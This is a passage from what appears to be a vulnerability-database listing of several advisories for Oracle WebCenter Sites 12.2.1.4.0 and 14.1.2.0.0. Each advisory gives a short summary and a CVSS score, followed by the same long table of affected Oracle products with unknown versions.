Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to modify or delete data and cause partial denial of service, rated CVSS 3.1 base score 8.2.
8.2 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with HTTP network access to fully compromise the system, with a CVSS 3.1 base score of 8.8.
8.8 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated remote attackers to fully compromise the system via HTTP, with a CVSS 3.1 base score of 9.8.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with HTTP network access to fully compromise the system, with a CVSS score of 9.9.
9.9 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with HTTP network access to fully compromise the system, with a CVSS 3.1 base score of 8.8.
8.8 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated remote attackers to compromise system confidentiality, integrity, and availability via HTTP, with a CVSS score of 9.0.
9.0 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with HTTP network access to fully compromise the system, with a CVSS 3.1 base score of 8.8.
8.8 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to gain unauthorized data access, modify data, or cause partial denial of service, rated CVSS 3.1 8.6.
8.6 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows a highly privileged attacker with HTTP network access to potentially compromise system confidentiality, integrity, and availability, rated CVSS 3.1 base score 9.1.
9.1 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to gain unauthorized access or modify sensitive data, rated CVSS 3.1 base score 8.2.
8.2 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with HTTP network access to fully compromise the system, with a CVSS 3.1 base score of 8.8.
8.8 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with HTTP network access to fully compromise the system, with a CVSS 3.1 base score of 8.8.
8.8 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to gain unauthorized data access, modify data, or cause partial denial of service, rated CVSS 3.1 8.6.
8.6 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to gain unauthorized access or modify sensitive data, rated CVSS 3.1 base score 8.2.
8.2 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with HTTP network access to fully compromise the system, with a CVSS 3.1 base score of 8.8.
8.8 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
